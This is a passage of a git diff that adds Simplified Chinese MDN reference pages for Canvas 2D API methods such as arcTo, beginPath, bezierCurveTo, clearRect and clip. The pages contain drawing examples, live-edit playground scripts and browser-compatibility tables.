+    var clockwise  = i%2==0 ? false : true; // clockwise or anticlockwise
+
+    ctx.arc(x,y,radius,startAngle,endAngle, clockwise);
+
+    if (i>1){
+      ctx.fill();
+    } else {
+      ctx.stroke();
+    }
+  }
+}
+ +

{{ EmbedLiveSample('Different_shapes_demonstrated', 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png") }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Gecko-specific 注解

+ +

从 Gecko 2.0 {{geckoRelease("2.0")}}开始:

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/arcto/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/arcto/index.html new file mode 100644 index 0000000000..8c8e2dc5ff --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/arcto/index.html @@ -0,0 +1,212 @@ +--- +title: CanvasRenderingContext2D.arcTo() +slug: Web/API/CanvasRenderingContext2D/arcTo +translation_of: Web/API/CanvasRenderingContext2D/arcTo +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.arcTo() 是 Canvas 2D API 根据控制点和半径绘制圆弧路径,使用当前的描点(前一个moveTo或lineTo等函数的止点)。根据当前描点与给定的控制点1连接的直线,和控制点1与控制点2连接的直线,作为使用指定半径的圆的切线,画出两条切线之间的弧线路径。

+ +

语法

+ +
void ctx.arcTo(x1, y1, x2, y2, radius);
+
+ +

Parameters

+ +
+
x1
+
第一个控制点的 x 轴坐标。
+
y1
+
第一个控制点的 y 轴坐标。
+
x2
+
第二个控制点的 x 轴坐标。
+
y2
+
第二个控制点的 y 轴坐标。
+
radius
+
圆弧的半径。
+
+ +

示例

+ +

使用 arcTo 方法

+ +

这是一段绘制圆弧的简单的代码片段。 基础点是蓝色的,两个控制点是红色的。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.setLineDash([])
+ctx.beginPath();
+ctx.moveTo(150, 20);
+ctx.arcTo(150,100,50,20,30);
+ctx.stroke();
+
+ctx.fillStyle = 'blue';
+// base point
+ctx.fillRect(150, 20, 10, 10);
+
+ctx.fillStyle = 'red';
+// control point one
+ctx.fillRect(150, 100, 10, 10);
+// control point two
+ctx.fillRect(50, 20, 10, 10);
+//
+ctx.setLineDash([5,5])
+ctx.moveTo(150, 20);
+ctx.lineTo(150,100);
+ctx.lineTo(50, 20);
+ctx.stroke();
+ctx.beginPath();
+ctx.arc(120,38,30,0,2*Math.PI);
+ctx.stroke();
+
+ +

{{ EmbedLiveSample('Using_the_arc_method', 315, 165) }}

+ +

尝试 arcTo 参数

+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
<canvas id="canvas" class="playable-canvas" height="200" width="400"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.setLineDash([])
+ctx.beginPath();
+ctx.moveTo(150, 20);
+ctx.arcTo(150,100,50,20,30);
+ctx.stroke();
+
+ctx.fillStyle = 'blue';
+// base point
+ctx.fillRect(150, 20, 10, 10);
+
+ctx.fillStyle = 'red';
+// control point one
+ctx.fillRect(150, 100, 10, 10);
+// control point two
+ctx.fillRect(50, 20, 10, 10);
+//
+ctx.setLineDash([5,5])
+ctx.moveTo(150, 20);
+ctx.lineTo(150,100);
+ctx.lineTo(50, 20);
+ctx.stroke();
+ctx.beginPath();
+ctx.arc(120,38,30,0,2*Math.PI);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Trying_the_arcTo_parameters', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arcto", "CanvasRenderingContext2D.arcTo")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/beginpath/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/beginpath/index.html new file mode 100644 index 0000000000..427a3a062d --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/beginpath/index.html @@ -0,0 +1,174 @@ +--- +title: CanvasRenderingContext2D.beginPath() +slug: Web/API/CanvasRenderingContext2D/beginPath +translation_of: Web/API/CanvasRenderingContext2D/beginPath +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.beginPath() 是 Canvas 2D API 通过清空子路径列表开始一个新路径的方法。 当你想创建一个新的路径时,调用此方法。

+ +

语法

+ +
void ctx.beginPath();
+
+ +

示例

+ +

使用 beginPath 方法

+ +

这是一段受用 beginPath 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120,120);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code" style="height:200px">
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120, 120);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 460) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/beziercurveto/index.html new file mode 100644 index 0000000000..5a66c1f6e8 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/beziercurveto/index.html @@ -0,0 +1,191 @@ +--- +title: CanvasRenderingContext2D.bezierCurveTo() +slug: Web/API/CanvasRenderingContext2D/bezierCurveTo +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/bezierCurveTo +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.bezierCurveTo() 是 Canvas 2D API 绘制三次贝赛尔曲线路径的方法。 该方法需要三个点。 第一、第二个点是控制点,第三个点是结束点。起始点是当前路径的最后一个点,绘制贝赛尔曲线前,可以通过调用 moveTo() 进行修改。

+ +

语法

+ +
void ctx.bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y);
+
+ +

参数

+ +
+
cp1x
+
第一个控制点的 x 轴坐标。
+
cp1y
+
第一个控制点的 y 轴坐标。
+
cp2x
+
第二个控制点的 x 轴坐标。
+
cp2y
+
第二个控制点的 y 轴坐标。
+
x
+
结束点的 x 轴坐标。
+
y
+
结束点的 y 轴坐标。
+
+ +

示例

+ +

使用 bezierCurveTo 方法

+ +

这是一段绘制贝赛尔曲线的简单的代码片段。  控制点是红色的 开始和结束点是蓝色的。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,20);
+ctx.bezierCurveTo(230, 30, 150, 60, 50, 100);
+ctx.stroke();
+
+ctx.fillStyle = 'blue';
+// start point
+ctx.fillRect(50, 20, 10, 10);
+// end point
+ctx.fillRect(50, 100, 10, 10);
+
+ctx.fillStyle = 'red';
+// control point one
+ctx.fillRect(230, 30, 10, 10);
+// control point two
+ctx.fillRect(150, 70, 10, 10);
+ +

{{ EmbedLiveSample('使用_bezierCurveTo_方法', 315, 165) }}

+ +

尝试 bezierCurveTo 参数

+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.bezierCurveTo(50, 100, 180, 10, 20, 10);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('尝试_bezierCurveTo_参数', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beziercurveto", "CanvasRenderingContext2D.beziercurveto")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/canvas/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/canvas/index.html new file mode 100644 index 0000000000..63331f1630 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/canvas/index.html @@ -0,0 +1,57 @@ +--- +title: CanvasRenderingContext2D.canvas +slug: Web/API/CanvasRenderingContext2D/canvas +tags: + - API + - Canvas +translation_of: Web/API/CanvasRenderingContext2D/canvas +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.canvas 属性是 Canvas API 的一部分,是对与给定上下文关联的{{domxref("HTMLCanvasElement")}}对象的只读引用。如果没有 {{HTMLElement("canvas")}} 元素与之对应,对象值为{{jsxref("null")}} 。

+ +

语法

+ +
ctx.canvas;
+ +

示例

+ +

给出 {{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas"></canvas>
+
+ +

你可以通过CanvasRenderingContext2D调用内部的canvas属性,获取canvas的一个反向引用:

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.canvas // HTMLCanvasElement
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.CanvasRenderingContext2D.canvas")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/clearhitregions/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/clearhitregions/index.html new file mode 100644 index 0000000000..a119329e0f --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/clearhitregions/index.html @@ -0,0 +1,121 @@ +--- +title: CanvasRenderingContext2D.clearHitRegions() +slug: Web/API/CanvasRenderingContext2D/clearHitRegions +translation_of: Web/API/CanvasRenderingContext2D/clearHitRegions +--- +
{{APIRef}} {{obsolete_header}}
+ +

CanvasRenderingContext2D.clearHitRegions() 是 Canvas 2D API 在画布中删除所有点击区域的方法。

+ +

语法

+ +
void ctx.clearHitRegions();
+
+ +

示例

+ +

使用 clearHitRegions 方法

+ +

这仅是一段简单的使用 clearHitRegions 方法的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+// set some hit regions
+ctx.addHitRegion({id: "eyes"});
+ctx.addHitRegion({id: "nose"});
+ctx.addHitRegion({id: "mouth"});
+
+// remove them altogether from the canvas
+ctx.clearHitRegions();
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearhitregions", "CanvasRenderingContext2D.clearHitRegions")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop(38)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo }}{{ CompatNo }}{{CompatGeckoMobile(38)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/clearrect/index.html new file mode 100644 index 0000000000..0a08faaaf2 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/clearrect/index.html @@ -0,0 +1,110 @@ +--- +title: CanvasRenderingContext2D.clearRect() +slug: Web/API/CanvasRenderingContext2D/clearRect +translation_of: Web/API/CanvasRenderingContext2D/clearRect +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.clearRect()是Canvas 2D API的方法,这个方法通过把像素设置为透明以达到擦除一个矩形区域的目的。

+ +
+

注意: 如果没有依照 绘制路径 的步骤,使用 clearRect() 会导致意想之外的结果。请确保在调用 clearRect()之后绘制新内容前调用{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} 。

+
+ +

语法

+ +
void ctx.clearRect(x, y, width, height);
+
+ +

 clearRect() 方法在一个矩形区域内设置所有像素都是透明的(rgba(0,0,0,0))。这个矩形范围的左上角在 (x, y),宽度和高度分别由 widthheight确定。

+ +

参数

+ +
+
x
+
矩形起点的 x 轴坐标。
+
y
+
矩形起点的 y 轴坐标。
+
width
+
矩形的宽度。
+
height
+
矩形的高度。
+
+ +

示例

+ +

清除整个画布

+ +

这段代码清除整个画布。这段代码通常在动画的每一帧开始被执行。清除的范围涵覆盖了整个 {{HtmlElement("canvas")}} 元素。

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.clearRect(0, 0, canvas.width, canvas.height);
+ +

清除一部分画布

+ +

这仅是一段简单地使用 clearRect 方法的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

下面代码中被清除的区域是一个矩形,它的左上点坐标在(10, 10),宽度和高度分别是120和100像素。

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+// 绘制黄色背景
+ctx.beginPath();
+ctx.fillStyle = '#ff6';
+ctx.fillRect(0, 0, canvas.width, canvas.height);
+
+// 绘制蓝色三角形
+ctx.beginPath();
+ctx.fillStyle = 'blue';
+ctx.moveTo(20, 20);
+ctx.lineTo(180, 20);
+ctx.lineTo(130, 130);
+ctx.closePath();
+ctx.fill();
+
+// 清除一部分画布
+ctx.clearRect(10, 10, 120, 100);
+ +

结果

+ +

{{EmbedLiveSample('Erasing_part_of_a_canvas', 700, 180)}}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.clearRect")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/clip/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/clip/index.html new file mode 100644 index 0000000000..fd68c7e3b6 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/clip/index.html @@ -0,0 +1,191 @@ +--- +title: CanvasRenderingContext2D.clip() +slug: Web/API/CanvasRenderingContext2D/clip +translation_of: Web/API/CanvasRenderingContext2D/clip +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.clip() 是 Canvas 2D API 将当前创建的路径设置为当前剪切路径的方法。

+ +

语法

+ +
void ctx.clip();
+void ctx.clip(fillRule);
+void ctx.clip(path, fillRule);
+
+ +

参数

+ +

+ +
+
fillRule
+
这个算法判断一个点是在路径内还是在路径外。
+ 允许的值: + +
+
path
+
需要剪切的 {{domxref("Path2D")}} 路径。
+
+ +

示例

+ +

使用 clip 方法

+ +

这是一段简单的代码片段,使用 clip 方法创建剪切区域。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+// Create clipping region
+ctx.arc(100, 100, 75, 0, Math.PI*2, false);
+ctx.clip();
+
+ctx.fillRect(0, 0, 100,100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.arc(100, 100, 75, 0, Math.PI*2, false);
+ctx.clip();
+ctx.fillRect(0, 0, 100,100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clip", "CanvasRenderingContext2D.clip")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Path parameter{{CompatUnknown}}{{ CompatGeckoDesktop(31) }}{{ CompatNo }}{{CompatUnknown}}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Path parameter{{CompatUnknown}}{{CompatUnknown}}{{ CompatGeckoMobile(31) }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/closepath/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/closepath/index.html new file mode 100644 index 0000000000..8446adbac8 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/closepath/index.html @@ -0,0 +1,160 @@ +--- +title: CanvasRenderingContext2D.closePath() +slug: Web/API/CanvasRenderingContext2D/closePath +translation_of: Web/API/CanvasRenderingContext2D/closePath +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.closePath() 是 Canvas 2D API 将笔点返回到当前子路径起始点的方法。它尝试从当前点到起始点绘制一条直线。 如果图形已经是封闭的或者只有一个点,那么此方法不会做任何操作。

+ +

语法

+ +
void ctx.closePath();
+
+ +

示例

+ +

使用 closePath 方法

+ +

这是一段使用 closePath 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // draws last line of the triangle
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code" style="height:140px;">
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // draws last line of the triangle
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 400) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-closepath", "CanvasRenderingContext2D.closePath")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/createimagedata/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/createimagedata/index.html new file mode 100644 index 0000000000..a02adf6183 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/createimagedata/index.html @@ -0,0 +1,107 @@ +--- +title: CanvasRenderingContext2D.createImageData() +slug: Web/API/CanvasRenderingContext2D/createImageData +tags: + - API + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/createImageData +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.createImageData() 是 Canvas 2D API 创建一个新的、空白的、指定大小的 {{domxref("ImageData")}} 对象。 所有的像素在新对象中都是透明的。

+ +

语法

+ +
ImageData ctx.createImageData(width, height);
+ImageData ctx.createImageData(imagedata);
+
+ +

参数

+ +
+
width
+
{{domxref("ImageData")}} 新对象的宽度。
+
height
+
{{domxref("ImageData")}} 新对象的高度。
+
imagedata
+
从现有的 {{domxref("ImageData")}} 对象中,复制一个和其宽度和高度相同的对象。图像自身不允许被复制。
+
+ +

返回值

+ +

指定了宽度和高度的,新的 {{domxref("ImageData")}} 对象。 新对象使用透明的像素进行填充。

+ +

抛出错误

+ +
+
IndexSizeError
+
如果宽度或者高度变量值为零,会抛出此异常。
+
+ +

示例

+ +

使用 createImageData 方法

+ +

这是一段简单地使用 createImageData 方法的代码片段。 获取更多信息,请看 canvas像素控制 和 {{domxref("ImageData")}} 对象。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+console.log(ctx.createImageData(100, 100));
+// ImageData { width: 100, height: 100, data: Uint8ClampedArray[40000] }
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createimagedata", "CanvasRenderingContext2D.createImageData")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容

+ + + +

{{Compat("api.CanvasRenderingContext2D.createImageData")}}

+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/createlineargradient/index.html new file mode 100644 index 0000000000..d7e9536d37 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/createlineargradient/index.html @@ -0,0 +1,156 @@ +--- +title: CanvasRenderingContext2D.createLinearGradient() +slug: Web/API/CanvasRenderingContext2D/createLinearGradient +translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.createLinearGradient()方法创建一个沿参数坐标指定的直线的渐变。

+ +

+ +

该方法返回一个线性 {{domxref("CanvasGradient")}}对象。想要应用这个渐变,需要把这个返回值赋值给 {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} 或者 {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}。

+ +

语法

+ +
CanvasGradient ctx.createLinearGradient(x0, y0, x1, y1);
+
+ +

createLinearGradient() 方法需要指定四个参数,分别表示渐变线段的开始和结束点。

+ +

